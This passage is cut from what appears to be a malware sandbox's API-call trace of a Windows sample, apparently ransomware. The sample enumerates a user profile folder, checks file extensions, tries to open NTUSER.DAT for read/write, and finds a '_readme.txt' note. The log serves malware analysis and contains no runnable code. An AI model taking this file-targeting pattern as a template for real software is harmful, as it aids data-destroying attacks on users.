ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce1e0 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce080 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce5a8 [0122.617] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53568 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53708 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x16c) returned 0x6aabb8 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce1e0 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307d950 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce080 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce6b0 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce290 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307d9b8 [0122.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307da20 [0122.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307da88 [0122.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.618] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1468c670, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x1468c670, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0122.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce5a8 [0122.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce658 [0122.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce600 [0122.618] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0122.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53568 [0122.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53708 [0122.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53638 [0122.618] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0122.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce5a8 [0122.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce658 [0122.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce760 [0122.618] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a475e80, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x1a475e80, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0122.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda58 [0122.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53568 [0122.618] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT") returned=".DAT" [0122.618] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.618] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1a44fd20, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0122.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda58 [0122.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53568 [0122.618] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1") returned=".LOG1" [0122.618] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0122.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda58 [0122.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53568 [0122.619] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2") returned=".LOG2" [0122.619] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0122.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda58 [0122.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x2f9eab8 [0122.619] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned=".blf" [0122.619] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0122.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda58 [0122.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x2fefeb8 [0122.619] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned=".regtrans-ms" [0122.619] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0122.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda58 [0122.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x2fefeb8 [0122.619] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned=".regtrans-ms" [0122.619] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0122.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda58 [0122.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53568 [0122.619] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini") returned=".ini" [0122.619] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14797010, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14797010, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0122.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce5a8 [0122.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce658 [0122.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x214) returned 0x307bd40 [0122.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce708 [0122.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53568 [0122.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce188 [0122.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce238 [0122.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce2e8 [0122.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53708 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f535d0 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce340 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307daf0 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce028 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307db58 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce550 [0122.620] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce5a8 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x76) returned 0x69d370 [0122.620] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce5a8 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce658 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce600 [0122.620] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53638 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307da88 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307da20 [0122.620] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce5a8 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce658 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.620] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce5a8 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce658 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce290 [0122.620] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53638 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307da88 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x310) returned 0x307bf60 [0122.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce5a8 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307d9b8 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce658 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce6b0 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce080 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307d950 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307dbc0 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307dc28 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce1e0 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307dc90 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce4f8 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307dcf8 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce4a0 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce448 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307dd60 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce3f0 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307ddc8 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce398 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdfd0 [0122.621] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce290 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x76) returned 0x69d370 [0122.621] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14809430, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14809430, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce290 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce600 [0122.621] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d2cfd0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda58 [0122.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53638 [0122.621] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned=".txt" [0122.621] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d2cfd0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.622] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.622] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc700 [0122.622] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc738 [0122.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc738 | out: hHeap=0x5b0000) returned 1 [0122.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc738 [0122.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc738 | out: hHeap=0x5b0000) returned 1 [0122.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc738 [0122.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc738 | out: hHeap=0x5b0000) returned 1 [0122.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc738 [0122.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 